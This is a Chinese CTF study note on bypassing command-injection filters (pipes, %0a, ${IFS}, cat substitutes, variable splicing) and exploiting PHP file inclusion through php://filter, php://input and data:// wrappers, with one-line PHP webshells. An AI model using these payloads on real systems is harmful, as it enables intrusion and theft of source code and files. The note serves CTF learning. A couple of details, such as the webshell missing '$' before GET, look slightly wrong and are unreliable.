RCE过滤及文件包含

有关RCE的题目

BUUCTF pingpingping
ctfhub RCE

过滤的思考

RCE命令执行<?php @eval(GET['cmd']); ?>。一句话木马可以执行PHP函数来找到flag。
命令执行phpinfo()中的disable_function函数可以查看被过滤的函数。

本地执行

var_dump()函数

以下函数都要在var_dump()函数内执行

  • scandir()
  • file_get_contents()
  • readfile()

无参数函数执行

system()调用外部命令的过滤

管道符的妙用

; & && | ||:这些管道符衔接其他命令可以执行一些Linux代码
||:直接衔接Linux命令实现跳出ping,可见如下博客
buuctf_LinuxRCE_Ping Ping Ping

;分号被过滤

分号被过滤,使用%0a绕过

cat被过滤

ca\t:利用正则表达式的\,\后面跟正常字符

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

以上都被过滤还有grepLinux的grep

空格被过滤

可以使用<>绕过,或者在url中使用%09(Tab),%20(space)
${IFS}$IFS$9进行绕过.

flag被过滤

利用通配符来绕过:

匹配任何字符串/文本,包括空字符串;
*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

利用拼接绕过:
在linux下:a=who;b=ami;$a$b等效于执行whoami
我们只要在定义时候把flag的顺序调整一下就好了即:b=ag;a=fl;$a$b
跑一下是试试看:xxxx/?ip=||b=ag;a=fl;cat$IFS$9$a$b.php

文件包含

文件包含漏洞

?file=文件 可能存在文件包含漏洞和PHP中有include函数出现

漏洞利用–封装协议

因为漏洞的存在,我们可以从中获取我们想要得到的资源。CTF中常用的php伪协议利用

  1. 读取敏感本地文件
    方法:直接打开敏感文件;利用一句话木马<?php @eval($_POST['attack']);?>获得更大操作权限
  2. PHP封装协议
    1. ?file=php://filter/read=convert.base64-encode/resource=config.php它可以读取对应文件源代码,得到的结果经过Base64解密后得到的是config.php源代码
    2. ?file=php://input 写入PHP文件。它受限于allow_url_include选项。php://input可以读取没有处理过的POST数据。
      在这里插入图片描述
    ?file=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,d2VsY29tZSB0byB0aGUgempjdGY=是welcome to the zjctf。它和http://input一样都可以把一些内容写入其中。
$file = $_GET["file"];

$content1 = file_get_contents($file,'r');
echo $content1;  // 输出结果是:welcome to the ctf

$content2 = file_get_contents('php://input');
echo $content2;  // 输出结果是:welcome to the ctf

4.file:///var/www/html/flag.php读取本地文件,路径要是相对路径。可用于读取web目录下的文件。

参考博客

RCE漏洞之绕过
pingpingping
命令执行(RCE)面对各种过滤,骚姿势绕过总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值